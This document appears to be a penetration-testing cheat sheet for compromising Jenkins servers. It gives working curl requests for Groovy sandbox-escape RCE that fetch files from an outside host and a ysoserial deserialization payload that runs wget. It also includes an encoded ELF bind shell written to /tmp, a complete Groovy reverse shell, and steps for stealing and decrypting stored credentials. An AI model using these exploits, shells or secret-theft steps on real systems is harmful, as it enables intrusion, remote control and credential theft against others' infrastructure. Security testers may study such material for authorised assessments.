pwn Jenkins – attacking Jenkins servers

pwn jenkins

Remote Code Execution


Deserialization RCE in old Jenkins (CVE-2015-8103, Jenkins 1.638 and older)

Use ysoserial to generate a payload. Then RCE using this script:

java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
./jenkins_rce.py jenkins_ip jenkins_port payload.out

Authentication/ACL bypass (CVE-2018-1000861, Jenkins <2.150.1)

Jenkins Advisory

Details here.

If the Jenkins requests authentication but returns valid data using the following request, it is vulnerable:

curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a

Metaprogramming RCE in Jenkins Plugins (CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002)

Jenkins Advisory

Original RCE vulnerability here, full exploit here.

Alternative RCE with Overall/Read and Job/Configure permissions here.

CheckScript RCE in Jenkins (CVE-2019-1003029, CVE-2019-1003030)

Jenkins Advisory, Credits.

Check if a Jenkins instance is vulnerable (needs Overall/Read permissions) with some Groovy:

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'

Execute arbitraty bash commands:

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'

If you don’t immediately get a reverse shell you can debug by throwing an exception:

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'

Git plugin (<3.12.0) RCE in Jenkins (CVE-2019-10392)

Jenkins Advisory, Credits.

This one will only work is a user has the ‘Jobs/Configure’ rights in the security matrix so it’s very specific.

Dumping builds to find cleartext secrets

Use this script to dump build console outputs and build environment variables to hopefully find cleartext secrets.

usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
                              [-l] [-r] [-d] [-s] [-v]
                              url [url ...]

Dump all available info from Jenkins

positional arguments:
  url

optional arguments:
  -h, --help            show this help message and exit
  -u USER, --user USER
  -p PASSWORD, --password PASSWORD
  -o OUTPUT_DIR, --output-dir OUTPUT_DIR
  -l, --last            Dump only the last build of each job
  -r, --recover_from_failure
                        Recover from server failure, skip all existing
                        directories
  -d, --downgrade_ssl   Downgrade SSL to use RSA (for legacy)
  -s, --no_use_session  Don't reuse the HTTP session, but create a new one for
                        each request (for legacy)
  -v, --verbose         Debug mode

Password spraying

Use this python script or this powershell script.

Files to copy after compromission

These files are needed to decrypt Jenkins secrets:

  • secrets/master.key
  • secrets/hudson.util.Secret

Such secrets can usually be found in:

  • credentials.xml
  • jobs/…/build.xml

Here’s a regexp to find them:

grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

Decrypt Jenkins secrets offline

Use this script to decrypt previsously dumped secrets.

Usage:
 jenkins_offline_decrypt.py <jenkins_base_path>
or:
 jenkins_offline_decrypt.py <master.key> <hudson.util.Secret> [credentials.xml]
or:
 jenkins_offline_decrypt.py -i <path> (interactive mode)

Groovy Scripts

Decrypt Jenkins secrets from Groovy

println(hudson.util.Secret.decrypt("{...}"))

Command execution from Groovy

def proc = "id".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());

For multiline shell commands, use the following shell syntax trick (example includes bind shell):

def proc="sh -c \$@|sh . echo /bin/echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAzgAAAAAAAAAkAQAAAAAAAAAQAAAAAAAAailYmWoCX2oBXg8FSJdSxwQkAgD96UiJ5moQWmoxWA8FajJYDwVIMfZqK1gPBUiXagNeSP/OaiFYDwV19mo7WJlIuy9iaW4vc2gAU0iJ51JXSInmDwU= | base64 -d > /tmp/65001".execute();

Automate it using this script.

Reverse shell from Groovy

String host="myip";
int port=1234;
String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

I’ll leave this reverse shell tip to recover a fully working PTY here in case anyone needs it:

python -c 'import pty; pty.spawn("/bin/bash")'
^Z bg
stty -a
echo $TERM
stty raw -echo
fg
export TERM=...
stty rows xx columns yy